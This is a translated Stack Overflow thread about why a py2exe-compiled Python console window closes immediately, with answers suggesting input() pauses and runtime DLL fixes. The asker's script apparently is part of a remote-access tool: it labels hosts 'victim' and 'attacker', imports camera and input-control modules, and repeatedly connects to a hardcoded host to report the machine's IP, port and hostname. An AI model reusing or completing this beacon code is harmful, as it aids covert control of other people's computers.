Python time.sleep 关闭终端

Python time.sleep closes terminal

我使用了这个 setup.py 脚本:

from distutils.core import setup
import py2exe

setup(console=['tcphost.py'])
to compile a code that imports this:

import os
import pygame.camera
import numpy as np
import time
import cv2
import socket
import autopy
import glob

def TCPclient ():
CreatePath()
ViHost = str(socket.gethostbyname(socket.gethostname()))
ViPort = 6869
AtHost = "192.168.56.1"
AtPort = ViPort

AtSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

TryCon = True
while TryCon == True:
    try:
        print "Trying to connect..."
        AtSock.connect((AtHost, AtPort))
        TryCon = False
    except:
        print "Could not connect"
        TryCon = True
        time.sleep(30)
print ("Connected.")
AtSock.send("<||.IP..||>" + ViHost)
time.sleep(1)
AtSock.send("<||.PRT.||>" + str(ViPort))
time.sleep(1)
AtSock.send("<||.NAM.||>" + str(socket.gethostname()))
time.sleep(1)
AtSock.send("<||.EXT.||>")
time.sleep(1)
AtSock.close()
print ("Messages sent and socket closed.")
TCPserver (ViHost, ViPort)

if __name__ == "__main__":
    TCPclient()

(不能 post 所有代码,因为它对于堆栈溢出来说太大了)

它编译得很好,但是当我尝试 运行 可执行文件时,终端 window 弹出打印

Trying to connect...
Could not connect

(因为它应该)但是然后关闭非常快但是如果我尝试 运行 它 终端它工作正常。 为什么以及如何让它保持打开状态?

编辑

为了清楚起见,如果我双击可执行文件,window 会弹出并关闭。 如果我 运行 来自命令行的 exe 一切正常。

time.sleep 不是导致脚本停止的原因。

Windows 命令正在做它应该做的事情,它运行脚本,然后在执行完所有内容后它自己关闭。

阻止这种情况发生的常用方法是在脚本末尾包含 input()

Python 2.7

raw_input("Press Enter to exit")

Python 3.4

input("Press Enter to exit")

我在 try:-except: syntax/execution 上可能是错的,但我认为你第一次尝试连接时将 TryCon 设置为 False,因此你再也不会进入 while 循环。

while TryCon == True:
    try:
        print "Trying to connect..."
        AtSock.connect((AtHost, AtPort))
        TryCon = False                   # I think this might be your problem
    except:
        print "Could not connect"
        TryCon = True
        time.sleep(30)

您是否需要包含 Microsoft Visual C 运行时 DLL 才能使 py2exe 编译版本正常工作? py2exe 教程说这是必需的。

http://www.py2exe.org/index.cgi/Tutorial#Step5

Python time.sleep 函数对 OS 的 sleep 函数进行系统调用或标准库调用。也许这是 C 运行时可再发行组件提供的功能之一。

这可以解释为什么当您从命令提示符在普通 Python 解释器中 运行 时 time.sleep 有效,但在捆绑的 .exe 中 运行 时失败程序。您看到的行为似乎与 time.sleep 调用失败一致:这可能引发异常或其他错误,您的脚本未处理这些错误,并导致程序终止,这将关闭控制台 window.

尝试将整个程序包装在一个 try/except 块中,这样您就可以捕获其他错误,显示它们,然后使用 input() 技巧来控制控制台 window 打开。您可能还需要缩进函数定义的行,以使其被识别为函数体而不是顶级脚本语句。

也可以尝试从命令行 运行 安装捆绑的 .exe,而不是双击它。根据它的编译方式,这可能会导致输出到您现有的控制台 window,该控制台在程序终止后将保持打开状态,因此您可以看到任何错误消息。您也可以使用 Windows start 命令来获得相同的效果。